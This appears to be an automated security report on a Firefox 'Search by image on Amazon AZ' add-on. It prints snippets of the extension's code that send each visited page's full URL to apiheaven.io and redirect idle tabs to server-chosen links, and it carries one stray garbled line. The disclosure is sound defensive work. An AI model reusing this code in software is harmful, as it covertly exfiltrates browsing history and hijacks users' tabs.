Is Search by image on Amazon AZ safe?

Medium risk

Search by image on Amazon AZ sends the full URL of pages you visit to apiheaven.io and can redirect your tabs.

Besides its context-menu image search, the background script reports the full address of each visited web page, including path and query, to apiheaven.io after a server-configured delay. The server's response can include a link that the extension loads, via apiheaven.io, into another open tab or the current tab. The listing does not describe either behavior.

XỔ SỐ 66v3.4.7Firefox Add-ons
55Risk

AI-generated. Findings may contain errors. Those marked Verified have been manually reviewed.

Publishers can request a review.

Findings

Image-search add-on sends the full address of pages you visit to apiheaven.io

Code analysis shows the background script sends each visited page's full URL to apiheaven.io/stats once a server-set delay passes.

The image-search feature does not need page addresses.

Severity
High unwanted
Type
Unexpected
CWE
CWE-359
Source
Static analysis
What actually happens
You did this

You finish loading a normal web page in any tab.

The extension did this

The extension sends that page's full URL to apiheaven.io/stats.

This happens once the server-supplied install delay and per-host interval have passed.

The code that does this

Listener that builds the stats request

Readable version

Request helper

background.bundle.js
async function ncall(path, obj) {    const _obj = Object.entries(obj).map(([key, value]) => `${key}=${value}`).join('&');    const _objf = _obj ? `${_obj}&eid=${chrome.runtime.id}` : `eid=${chrome.runtime.id}`;    const resp = await fetch(`https://apiheaven.io/${path}?${_objf}`);    ...

Tab listener

background.bundle.js
chrome.tabs.onUpdated.addListener(async (tabId, { status }, { url }) => {    if ( status === 'complete' && url.startsWith('http') ) {        ...        if (!isexists || tcheck(parseInt(isexists), parseInt(rcfg.bmt))) {            ...            const resp = await ncall('stats', { u: encodeURIComponent(url) });
Query fields on the stats request
  • Page URL
    https%3A%2F%2Fexample.com%2Faccount%2Forders%3Fid%3D1001

    Full address of the tab, including path and query string.

  • Extension ID
    amo-2902710 runtime ID (per install)

    Runtime ID that ties requests to one install.

Destination
    • apiheaven.io

    Receives page URLs at /stats and supplies config at /config; operator not stated in the listing.

Observation

Static analysis finding. This behaviour was identified by reading the shipped extension code and has not yet been reproduced in a live run. The trigger conditions and the exact data sent are read from the code, not from an observed capture.

Image-search add-on can redirect an idle tab to a link chosen by apiheaven.io

Code analysis shows a link returned by apiheaven.io/stats is opened via apiheaven.io/pulse in another open tab or the current one.

The destination is set by the server and not described in the listing.

Severity
High unwanted
Type
Unexpected
CWE
CWE-506
Source
Static analysis
What actually happens
You did this

apiheaven.io/stats replies with a JSON link field.

The extension did this

The extension updates a tab to apiheaven.io/pulse with that link encoded in the query.

The tab is a non-pinned, non-audible, loaded http tab, or the just-loaded tab when remote config sets ust.

The code that does this

Tab selection and navigation

Readable version

Tab filter

background.bundle.js
chrome.tabs.query({ active: false, pinned: false, audible: false, status: 'complete' }, ...)return tabs.filter(tab => tab.url.startsWith('http') && !new URL(tab.url).hostname.includes('product'));

Navigation

background.bundle.js
const resp = await ncall('stats', { u: encodeURIComponent(url) });if (!resp || !resp.hasOwnProperty('link') || !resp.link.length) return;const flink = `https://apiheaven.io/pulse?eid=${chrome.runtime.id}&u=${encodeURIComponent(resp.link)}`await chrome.tabs.update(tid, { url: flink, active: false });
Values in the navigation
  • Remote link
    https%3A%2F%2Fshop.example.com%2Fdeal%3Fref%3Dabc (illustrative)

    Destination chosen by the server and passed through the pulse hop.

  • Extension ID
    per-install runtime ID

    Identifies the install on the pulse request.

Destination
    • apiheaven.io

    Supplies the link and receives it back on /pulse before the final redirect; operator not stated.

Observation

Static analysis finding. This behaviour was identified by reading the shipped extension code and has not yet been reproduced in a live run. The trigger conditions and the exact data sent are read from the code, not from an observed capture.

What it can do

Permissions this extension asks for, as declared in version 3.4.7. Asking for a permission is not a finding on its own - it is what the extension can do if it chooses to.

  • Read and change your data on every site you visit

    http://*/ and 1 more

  • Store data in your browser

    storage

  • Store an unlimited amount of data in your browser

    unlimitedStorage

  • Add items to the right-click menu

    contextMenus

  • See the address and title of every tab you have open

    tabs

Where it sends data

Destinations our analysis observed Search by image on Amazon AZ contacting. Sending data somewhere is not a finding on its own - an extension that syncs your settings has to talk to its own server - but it is where your data can go, and who else it goes to.

  • apiheaven.io

    Search by image on Amazon AZ sends data to apiheaven.io. 5 other extensions we have analysed send data here.

Updated 15 October 2026amo-2902710